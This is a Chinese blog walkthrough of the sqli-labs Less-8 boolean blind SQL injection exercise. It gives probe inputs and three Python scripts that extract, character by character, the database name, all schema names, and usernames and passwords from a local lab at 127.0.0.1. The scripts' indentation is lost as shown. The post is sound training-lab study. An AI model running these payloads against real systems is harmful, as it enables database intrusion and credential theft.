第八关(布尔盲注):
利用条件:1、输入正确有回显,但不是库里数据。2、输入错误(语法错误或者空集)都没回显。
常规套路
1、id=1 YOU ARE IN.....
2、id=1" YOU ARE IN.....
3、id=1' 无报错回显。
4、id=" 无报错回显。
5、id=1' and 1=1 --+ YOU ARE IN......
6、id=1' and 1=2 --+ 无报错回显
结论:注入点闭合方式为单引号。返回空集和语法错误,都不回显报错。返回数据则YOU ARE IN......
这样前面1-7关的联合查询还有报错注入就不可能了。但是还是有办法的,那就是盲注。
盲注的话,要加快解题速度几个选择1、python。2、burp。3、sqlmap
要有编程水平,本人是个菜菜小鸡。不过努力学习中。扯远了。继续闯关。
sqli-labs 第八关 多命通关攻略(Python3 自动化实现布尔盲注)_sqli-labs第八关-CSDN博客
https://www.cnblogs.com/ceiling-/p/15757601.html
参考链接里的脚本
爆当前库脚本,自己写的
import requests
flag="!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
i=1
j=0
result=''
while i<=20:
while j<len(flag):
x=requests.request('get',f"http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ord(substr(database(),{i},1))=ord('{flag[j]}'),1,0) --+")
if('You are in...........' in x.text):
result=result+flag[j]
j+=1
j=0
i+=1
print(result)
爆所有库的脚本,也是自己写的,感觉这脚本还是好笨拙,没事,万事开头难,能写出来也算是进步了。
import requests
flag="!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
i=1
j=0
result=''
while i<=200:
while j<len(flag):
x=requests.request('get',f"http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ord(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))=ord('{flag[j]}'),1,0) --+")
if('You are in...........' in x.text):
result=result+flag[j]
j+=1
j=0
i+=1
print(result)
后面爆表,爆列,爆记录是一样的,用布尔盲注,然后结合第一关拿数据的方法就可以拿到库里所有数据了。
import requests
flag="!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
i=1
j=0
result=''
while i<200:
while j<len(flag):
x=requests.request('get',f"http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ord(substr((select group_concat(id,username,password) from security.users),{i},1))=ord('{flag[j]}'),1,0) --+")
if('You are in...........' in x.text):
result=result+flag[j]
print(result)
j+=1
j=0
i+=1
print(result)
核心函数:if,ascii,substr,length;